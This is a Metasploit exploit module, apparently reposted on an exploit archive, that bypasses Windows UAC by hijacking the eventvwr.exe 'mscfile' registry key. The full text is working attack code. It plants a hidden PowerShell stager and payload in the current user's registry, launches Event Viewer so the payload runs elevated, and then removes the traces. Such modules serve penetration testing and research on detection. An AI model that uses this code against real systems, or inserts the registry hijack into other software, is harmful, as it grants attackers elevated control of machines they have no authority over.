Windows Escalate UAC Protection Bypass
Posted on 02 December 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas EVENTVWR_DEL_KEY = "HKCU\Software\Classes\mscfile" EVENTVWR_WRITE_KEY = "HKCU\Software\Classes\mscfile\shell\open\command" EXEC_REG_VAL = '' # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ' EVENTVWR_PATH = "%WINDIR%\System32\eventvwr.exe" PSH_PATH = "%WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe" CMD_MAX_LEN = 2081 def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)', 'Description' => %q{ This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Nelson', # UAC bypass discovery and research 'Matt Graeber', # UAC bypass discovery and research 'OJ Reeves' # MSF module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', 'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1' ] ], 'DisclosureDate'=> 'Aug 15 2016' )) end def check if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit commspec = '%COMSPEC%' registry_view = REGISTRY_VIEW_NATIVE # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 # On x64, check arch if session.arch == ARCH_X86 # running WOW64, map the correct registry view registry_view = REGISTRY_VIEW_64_BIT if target_arch.first == ARCH_X64 # we have an x64 payload specified while using WOW64, so we need to # move over to sysnative commspec = '%WINDIR%\Sysnative\cmd.exe' else # Else, we're 32-bit payload, so need to ref wow64. commspec = '%WINDIR%\SysWOW64\cmd.exe' end elsif target_arch.first == ARCH_X86 # We're x64, but invoking x86, so switch to SysWOW64 commspec = '%WINDIR%\SysWOW64\cmd.exe' end else # if we're on x86, we can't handle x64 payloads if target_arch.first == ARCH_X64 fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end end # Validate that we can actually do things before we bother # doing any more work check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end payload_value = rand_text_alpha(8) psh_path = expand_path("#{PSH_PATH}") template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) psh_stager = ""IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" if existing.empty? registry_createkey(EVENTVWR_WRITE_KEY, registry_view) end print_status("Configuring payload and stager registry keys ...") registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) # We can't invoke EventVwr.exe directly because CreateProcess fails with the # dreaded 740 error (Program requires elevation). Instead, we must invoke # cmd.exe and use that to fire off the binary. cmd_path = expand_path(commspec) cmd_args = expand_path("/c #{EVENTVWR_PATH}") print_status("Executing payload: #{cmd_path} #{cmd_args}") # We can't use cmd_exec here because it blocks, waiting for a result. client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true}) # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? Rex::sleep(5) handler(client) print_status("Cleaining up registry keys ...") if existing.empty? registry_deletekey(EVENTVWR_DEL_KEY, registry_view) else registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view) end end def check_permissions! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end print_status('UAC is Enabled, checking level...') if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end